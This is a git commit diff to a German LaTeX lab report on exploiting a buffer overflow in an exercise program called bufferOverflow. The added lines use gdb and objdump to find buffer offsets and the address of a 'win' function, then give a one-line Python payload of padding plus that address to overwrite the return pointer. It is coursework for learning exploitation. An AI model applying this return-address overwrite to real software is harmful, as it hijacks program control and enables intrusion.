don't stop the time... i wasn't having a break, this is how long it took!
This commit is contained in:
parent
7e54012640
commit
d2e9b0a702
1 changed files with 14 additions and 8 deletions
|
@ -51,19 +51,12 @@ Zum debuggen wird der Befehl \verb|gdb bufferOverflow| eingegeben. Damit wird de
|
|||
|
||||
Wenn man den Breakpoint auf \verb|calculate()| setzt, einen schritt über \verb|strcpy(name,text)| macht, bekommt man einen Segmentation fault.
|
||||
|
||||
\subsection{Stack}
|
||||
\subsection{Versuchen zu gewinnen}
|
||||
|
||||
Hinweis: \verb|"A" ASCII| wird als \verb|0x41| geschrieben.
|
||||
|
||||
Hinweis: \verb|"B" ASCII| wird als \verb|0x42| geschrieben.
|
||||
|
||||
Abstand zwischen name (\verb|0xbffff2a0|) und input (\verb|0xbffff2b4|) sind 20 Byte. Jeder Int belegt 4 Byte auf dem Stack. Somit müsste man \[20 + 6 * 4 Byte = 44 Byte\] mit Zahlen belegen damit man immer gewinnt.
|
||||
|
||||
\begin{verbatim}
|
||||
argv[1]: AAAAAAAAAAAAAAAA (16 Byte)
|
||||
+ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB (44 Byte)
|
||||
\end{verbatim}
|
||||
|
||||
\begin{verbatim}
|
||||
Username: Florian
|
||||
Input1: 1
|
||||
|
@ -71,6 +64,19 @@ Input2: 1
|
|||
Input3: 1
|
||||
\end{verbatim}
|
||||
|
||||
Speicheraddresse der Zeile 60 herausfinden, in der die Win-Funktion aufgerufen wird:
|
||||
|
||||
\begin{verbatim}
|
||||
objdump -d ./bufferOverflow | grep win
|
||||
0x08048807: 80485a4 <win>
|
||||
\end{verbatim}
|
||||
|
||||
Dann GDB \verb|gdb bufferOverflow| mit folgenden Befehl ausführen
|
||||
|
||||
\verb|r $(python -c " print('A'*28+'\x07\x88\x04\x08')")|
|
||||
|
||||
damit 28x'A' und die Adresse der Win-Funktion als argument der Software mitgegeben wird.
|
||||
|
||||
\begin{tabular}{|l|l||r|r|}
|
||||
\hline
|
||||
\multicolumn{2}{|c||}{\textbf{Basic Information}} & \multicolumn{2}{c|}{\textbf{Values at Line}} \\
|
||||
|
|
Reference in a new issue